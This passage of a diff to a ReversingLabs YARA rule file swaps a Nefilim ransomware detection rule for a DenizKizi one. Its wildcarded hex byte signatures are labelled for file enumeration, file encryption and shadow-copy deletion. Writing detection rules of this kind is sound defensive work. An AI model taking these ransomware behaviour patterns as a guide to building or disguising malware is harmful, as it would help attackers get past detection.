+            ?? ?? 89 74 24 ?? 89 7C 24 ?? 74 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ??
+            89 D8 E8 ?? ?? ?? ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? BA ?? ??
+            ?? ?? 89 D8 E8 ?? ?? ?? ?? 85 C0 75 ?? 89 D8 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44
+            24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 52 52 0F 85 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 50 8D 65 ?? 5B 5E 5F 5D C3 55 BA ?? ?? ?? ?? 89
+            E5 53 51 89 C3 E8 ?? ?? ?? ?? 48 74 ?? 5A 89 D8 5B 5D E9 ?? ?? ?? ?? 58 5B 5D C3
         }
-		$sectionxxxx_pattern = {
-            83 EC ?? 53 55 8B C2 89 4C 24 ?? 56 57 8B C8 89 44 24 ?? 33 D2 E8 ?? ?? ?? ?? 85 C0
-            74 ?? 0F B7 48 ?? 8B FA 83 C1 ?? 03 C8 0F B7 40 ?? 89 44 24 ?? 85 C0 74 ?? BE ?? ??
-            ?? ?? 2B F1 80 39 ?? 8D 59 ?? 6A ?? 5D 75 ?? 85 ED 74 ?? 0F BE 2C 1E 0F BE 03 43 3B
-            E8 74 ?? 83 C1 ?? 83 EE ?? 47 3B 7C 24 ?? 72 ?? 8B CA 85 C9 74 ?? 8B 51 ?? 8B 5C 24
-            ?? 8B FB 03 54 24 ?? 8B F2 8B 4A ?? A5 83 C1 ?? 03 CA 89 4B ?? A5 A5 8B 43 ?? 8D 72
-            ?? 89 43 ?? 8B 43 ?? 89 43 ?? B8 ?? ?? ?? ?? 89 73 ?? 66 39 01 74 ?? 8B 7A ?? 8B 2A
-            03 7A ?? 74 ?? 33 DB 43 2B DE 33 D2 8D 0C 33 8B C5 F7 F1 30 16 46 4F 75 ?? B2 ?? 5F
-            5E 5D 0F B6 C2 5B 83 C4 ?? C3
+		$enum_resources = {
+            55 89 E5 57 56 53 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 29 C4 8D 95 ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? 8B 04 04 C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? C7 44 24 ?? ?? ??
+            ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ??
+            83 EC ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 31 F6 89
+            44 24 ?? 8D 85 ?? ?? ?? ?? 89 5C 24 ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ??
+            ?? ?? ?? 83 EC ?? 3B B5 ?? ?? ?? ?? 7D ?? 83 7B ?? ?? 75 ?? 8B 43 ?? C7 44 24 ?? ??
+            ?? ?? ?? 89 3C 24 89 44 24 ?? E8 ?? ?? ?? ?? 89 F8 E8 ?? ?? ?? ?? 89 D8 46 83 C3 ??
+            E8 ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 50 8D 65 ?? 5B 5E 5F
+            5D C3
         }
-		$crypt_gen_pattern = {
-            55 8B EC 53 57 8B 7D ?? 8D 45 ?? 68 ?? ?? ?? ?? 6A ?? 33 DB 53 53 50 89 1F FF 15 ??
-            ?? ?? ?? 85 C0 75 ?? 6A ?? 58 EB ?? 56 FF 75 ?? 8B 75 ?? 56 FF 75 ?? FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? 6A ?? 58 EB ?? 53 FF 75 ?? FF 15 ?? ?? ?? ?? 89 37 33 C0 5E 5F 5B 5D
-            C3
+		$encrypt_files = {
+            55 89 E5 57 56 53 89 C3 81 EC ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85
+            C0 89 C2 A3 ?? ?? ?? ?? 75 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 31
+            C0 89 D7 F3 AB 85 DB 75 ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ??
+            ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 89 5C 24 ?? 8D 9D ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 89 3C
+            24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C
+            24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 34
+            24 E8 ?? ?? ?? ?? 89 74 24 ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 EC
+            ?? 83 F8 ?? 89 C3 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 89 7C 24 ?? 89 34 24 EB ?? 8D
+            BD ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ??
+            ?? ?? 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 85 C0 75 ?? 89
+            1C 24 E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8
+            ?? ?? ?? ?? EB ?? F7 D8 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ??
+            89 1C 24 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 EC ?? BA ?? ?? ?? ?? C7 04 24 ?? ?? ??
+            ?? B8 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89
+            74 24 ?? 89 1C 24 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 83 EC ??
+            FF 8D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($entry_point at pe.entry_point) and $shutdown_pattern and $sectionxxxx_pattern and $crypt_gen_pattern
+		uint16(0)==0x5A4D and ($enum_resources) and ($find_files) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Nefilim : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Denizkizi : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Nefilim ransomware."
+		description = "Yara rule that detects DenizKizi ransomware."
 		author = "ReversingLabs"
-		id = "aec298c1-abf8-5446-9dbb-795f9fcf8e94"
+		id = "e16a00d6-d5b8-5702-9cd7-d037b0ff46a3"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Nefilim.yara#L1-L150"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "fae0350e51aee2777475d2222848b30fd39fa39ceea260132b0c7fbc536b3a86"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.DenizKizi.yara#L1-L88"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "fbeb01263d6f68141e094ba8fb1c1a54c601ab24292f5c6b0eb8cb0c49f46afc"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -35624,135 +37219,81 @@ rule REVERSINGLABS_Win32_Ransomware_Nefilim : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Nefilim"
+		tc_detection_name = "DenizKizi"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$create_encryption_key = {
-            55 8B EC 51 A1 ?? ?? ?? ?? C1 E8 ?? 6B C0 ?? 56 50 E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ??
-            ?? 8B F0 A1 ?? ?? ?? ?? 59 89 75 ?? 73 ?? B8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 E8 ??
-            ?? ?? ?? 33 F6 59 59 39 35 ?? ?? ?? ?? 75 ?? 53 57 8B 3D ?? ?? ?? ?? 56 6A ?? 56 BE
-            ?? ?? ?? ?? 56 BB ?? ?? ?? ?? 53 FF D7 85 C0 75 ?? 6A ?? 6A ?? 50 56 53 FF D7 85 C0
-            75 ?? 50 FF 15 ?? ?? ?? ?? 5F 33 F6 5B A1 ?? ?? ?? ?? C1 E8 ?? 6B C0 ?? 68 ?? ?? ??
-            ?? 56 56 50 FF 75 ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 56 EB ?? 5E C9
-            C3
-        }
-		$encrypt_encryption_key = {
-            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 68 ?? ?? ?? ?? 8D 45 ?? 8D 4D ?? E8
-            ?? ?? ?? ?? 83 78 ?? ?? 59 72 ?? 8B 00 53 56 57 33 DB 53 53 6A ?? 53 53 68 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 39 5D ?? 0F 84
-            ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? BF ?? ?? ?? ?? 57 FF D3 99 83 E2 ?? 03 C2 C1 F8 ?? 6B
-            C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 57 8B F0 FF D3 50 57 E8 ?? ??
-            ?? ?? 59 59 57 FF D3 99 83 E2 ?? 03 C2 C1 F8 ?? 6B C0 ?? 89 45 ?? 8D 45 ?? 50 56 6A
-            ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 85 C0 75 ?? FF 15 ?? ?? ??
-            ?? 8D 45 ?? 50 57 FF D3 99 83 E2 ?? 03 C2 C1 F8 ?? 6B C0 ?? 50 56 FF 75 ?? FF 15 ??
-            ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
-            6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3
-        }
-		$encrypt_files_p1 = {
-            55 8B EC 83 E4 ?? 83 EC ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? 83 7D ?? ?? 8B 45 ?? 53
-            56 57 73 ?? 8D 45 ?? 33 DB 53 53 6A ?? 53 53 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89
-            44 24 ?? 3B C3 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51 50 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ??
-            6B C0 ?? 83 C0 ?? 83 F8 ?? 0F 8E ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? 89 44 24 ??
-            E8 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? BE
-            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 56 89 44 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? 8B 54 24 ??
-            89 44 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? 8B 54 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 15 ??
-            ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 7E ?? 68 ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ??
-            33 FF E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 53 53 FF 74 24 ?? FF 74 24 ??
-            FF 74 24 ?? FF D7 53 FF 15 ?? ?? ?? ?? 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ??
-            FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83
-            F8 ?? 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 53 03 C6 53 13 CB 51 50 FF 74 24 ??
-            FF D7 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B
-        }
-		$encrypt_files_p2 = {
-            4C 24 ?? 53 05 ?? ?? ?? ?? 53 13 CB 51 50 FF 74 24 ?? FF D7 53 E8 ?? ?? ?? ?? 0B C2
-            59 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ??
-            ?? ?? 8B 3D ?? ?? ?? ?? 53 8D 44 24 ?? 50 FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 74
-            24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 3B C3 0F 8C ?? ?? ?? ?? 7F ?? 81 F9
-            ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? 3B C3 0F 8C ?? ?? ?? ?? 7F ??
-            3B CB 0F 86 ?? ?? ?? ?? BE ?? ?? ?? ?? EB ?? 8B 4C 24 ?? 2B 4C 24 ?? 1B 44 24 ?? 89
-            44 24 ?? 0F 88 ?? ?? ?? ?? 7F ?? 81 F9 ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 56 53 FF 15 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 53 53 FF 74 24 ?? 89 44 24 ?? FF 74 24 ?? FF 74 24 ??
-            FF D7 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B
-            54 24 ?? 51 56 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 FF 74 24 ?? FF 74 24 ?? FF
-            74 24 ?? FF D7 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? FF 74 24 ?? 53 50 FF 15 ?? ?? ?? ?? 81 44 24 ?? ?? ?? ?? ?? 8B 44 24 ??
-            11 5C 24 ?? 39 44 24 ?? 0F 8C ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 8B 4C 24 ?? 39 4C 24 ??
-            0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? 3B C3 0F 8C ?? ?? ?? ?? 7F ?? 81 F9 ?? ?? ?? ?? 0F
-        }
-		$encrypt_files_p3 = {
-            86 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 E8 ?? ??
-            ?? ?? 59 89 44 24 ?? FF 15 ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 FF 74 24 ?? FF D7 53
-            8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B 54 24 ??
-            51 56 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 33 C0 50 50 FF 74 24 ?? FF D7 53 8D
-            44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ??
-            59 E9 ?? ?? ?? ?? 51 53 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? FF 15 ??
-            ?? ?? ?? 53 53 33 C0 50 53 FF 74 24 ?? FF D7 53 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24
-            ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 8B 4C 24
-            ?? 8B 54 24 ?? 51 FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 33 C0 50 53
-            FF 74 24 ?? FF D7 53 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? FF 15 ?? ??
-            ?? ?? FF 74 24 ?? 53 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ??
-            E8 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? FF 74 24 ??
-            E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            8D 45 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 83 7D ?? ?? 8B
-            4D ?? 73 ?? 8D 4D ?? 50 51 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ??
-            6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5
-            5D C3
-        }
-		$find_files_1 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56
-            57 6A ?? 5E 33 C0 33 FF 6A ?? 66 89 44 24 ?? 57 8D 45 ?? 8D 4C 24 ?? 89 74 24 ?? 89
-            7C 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 66
-            89 44 24 ?? 66 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 03 44 24 ?? 8D 4C 24 ?? 89 74 24 ??
-            89 7C 24 ?? 89 74 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 57 8D 44 24 ?? 50 83 C8 ?? 8D 74
-            24 ?? E8 ?? ?? ?? ?? 57 8D 84 24 ?? ?? ?? ?? 50 83 C8 ?? E8 ?? ?? ?? ?? 8B DE 8D 44
-            24 ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8D 44 24
-            ?? 8D 8C 24 ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ??
-            ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24
+		$find_files = {
+            8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ??
+            ?? 64 FF 30 64 89 20 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 7E ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ??
+            8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B
+            55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 F6 85 ?? ?? ??
+            ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D C3
         }
-		$find_files_2 = {
-            D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? F6
-            84 24 ?? ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 4C 24 ?? 8D 44 24 ?? 74 ?? E8 ?? ??
-            ?? ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 59 8B D8 59 8D 44 24 ?? E8 ?? ?? ?? ?? 6A ?? 33
-            FF 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 21 79
-            ?? 33 C0 6A ?? C7 41 ?? ?? ?? ?? ?? 66 89 01 50 8D 44 24 ?? E8 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 59 8D 44 24 ?? E8 ?? ?? ?? ?? 6A
-            ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 50 8D
-            44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 6A ?? 5F 39 7C 24 ?? 73 ?? 8D 44 24 ?? 8B 35 ??
-            ?? ?? ?? 68
+		$encrypt_files = {
+            55 8B EC 83 C4 ?? 53 56 57 33 DB 89 5D ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64
+            FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ??
+            ?? 64 FF 30 64 89 20 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 0D ?? ??
+            ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89
+            45 ?? 8B 0D ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ??
+            ?? ?? 8B 45 ?? 8B 10 FF 12 52 50 8B 45 ?? 8B 10 FF 52 ?? B2 ?? A1 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 12 50 8B 4D ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ??
+            8B 45 ?? 8B 10 FF 52 ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 12 50
+            8B 4D ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 52 ?? 8B 55 ?? 8B 45 ??
+            E8 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ??
+            ?? 8B 45 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3
         }
-		$find_files_3 = {
-            50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68 ?? ??
-            ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68
-            ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24
-            ?? 68 ?? ?? ?? ?? 50 FF D6 85 C0 74 ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68
-            ?? ?? ?? ?? 50 FF D6 85 C0 74 ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68 ?? ??
-            ?? ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 74 ??
-            8B 4C 24 ?? 39 7C 24 ?? 73 ?? 8D 4C 24 ?? 83 EC ?? 8B C4 51 E8 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74
-            24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 33 DB
-            43 53 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 53 8D B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D
-            74 24 ?? E8 ?? ?? ?? ?? 53 8D 75 ?? E8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33
-            CC E8 ?? ?? ?? ?? 8B E5 5D C3
+		$delete_shadow_copies = {
+            6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59
+            64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B
+            00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ??
+            ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ??
+            ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B
